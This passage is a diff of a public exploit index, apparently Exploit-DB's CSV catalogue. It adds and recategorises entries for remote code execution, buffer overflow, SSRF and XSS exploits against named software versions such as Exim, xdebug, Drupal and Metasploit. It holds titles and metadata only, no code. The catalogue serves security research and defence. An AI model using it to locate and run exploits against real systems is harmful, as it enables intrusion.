Stack Buffer Overflow",2018-04-18,rebeyond,remote,windows,80 44522,exploits/windows/remote/44522.py,"Easy File Sharing Web Server 7.2 - 'UserID' Remote Buffer Overflow (DEP Bypass)",2018-04-24,"Hashim Jawad",remote,windows, -44524,exploits/hardware/remote/44524.rb,"ASUS infosvr - Auth Bypass Command Execution (Metasploit)",2018-04-24,Metasploit,remote,hardware,9999 +44524,exploits/hardware/remote/44524.rb,"ASUS infosvr - Authentication Bypass Command Execution (Metasploit)",2018-04-24,Metasploit,remote,hardware,9999 44552,exploits/multiple/remote/44552.py,"Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution",2016-07-20,"Nikhil Sreekumar",remote,multiple, 44553,exploits/multiple/remote/44553.py,"Oracle Weblogic Server 10.3.6.0 / 12.1.3.0 / 12.2.1.2 / 12.2.1.3 - Deserialization Remote Command Execution",2018-04-22,brianwrf,remote,multiple, 44554,exploits/android/remote/44554.py,"Android Bluetooth - 'Blueborne' Information Leak (1)",2017-08-09,"Kert Ojasoo",remote,android, 44555,exploits/android/remote/44555.py,"Android Bluetooth - 'Blueborne' Information Leak (2)",2017-09-20,"Kert Ojasoo",remote,android, 44556,exploits/multiple/remote/44556.py,"Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution",2017-09-08,brianwrf,remote,multiple, -44557,exploits/php/remote/44557.rb,"Drupal < 7.58 - 'Drupalgeddon3' Authenticated Remote Code (Metasploit)",2018-04-30,SixP4ck3r,remote,php, +44568,exploits/php/remote/44568.rb,"xdebug < 2.5.5 - Unauthenticated OS Command Execution (Metasploit)",2018-05-02,Metasploit,remote,php,80 +44569,exploits/ruby/remote/44569.rb,"Metasploit Framework - 'msfd' Remote Code Execution (via Browser) (Metasploit)",2018-05-02,Metasploit,remote,ruby,55554 +44570,exploits/ruby/remote/44570.rb,"Metasploit Framework - 'msfd' Remote Code Execution (Metasploit)",2018-05-02,Metasploit,remote,ruby,55554 +44571,exploits/linux/remote/44571.py,"Exim < 4.90.1 - 'base64d' Remote Code Execution",2018-05-02,straight_blast,remote,linux,25 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -39246,6 +39252,8 @@ id,file,description,date,author,type,platform,port 44548,exploits/php/webapps/44548.py,"GitList 0.6 - Unauthenticated Remote Code Execution",2018-04-26,"Kacper Szurek",webapps,php, 44550,exploits/hardware/webapps/44550.txt,"TP-Link Technologies TL-WA850RE Wi-Fi Range Extender - Unauthenticated Remote Reboot",2018-04-26,Wadeek,webapps,hardware, 44551,exploits/php/webapps/44551.txt,"Frog CMS 0.9.5 - Persistent Cross-Site Scripting",2018-04-26,"Wenming Jiang",webapps,php,80 +44557,exploits/php/webapps/44557.rb,"Drupal < 7.58 - 'Drupalgeddon3' Authenticated Remote Code (Metasploit)",2018-04-30,SixP4ck3r,webapps,php, 44559,exploits/php/webapps/44559.txt,"WordPress Plugin Form Maker 1.12.20 - CSV Injection",2018-04-30,"Sairam Jetty",webapps,php, 44560,exploits/php/webapps/44560.py,"Nagios XI 5.2.6 < 5.2.9 / 5.3 / 5.4 - Chained Remote Root",2018-04-30,"Jared Arave",webapps,php, 44563,exploits/php/webapps/44563.txt,"WordPress Plugin Responsive Cookie Consent 1.7 / 1.6 / 1.5 - Authenticated Persistent Cross-Site Scripting",2018-05-01,B0UG,webapps,php, +44567,exploits/php/webapps/44567.txt,"Cockpit CMS 0.4.4 < 0.5.5 - Server-Side Request Forgery",2018-05-02,"Qian Wu_ Bo Wang_ Jiawang Zhang",webapps,php,80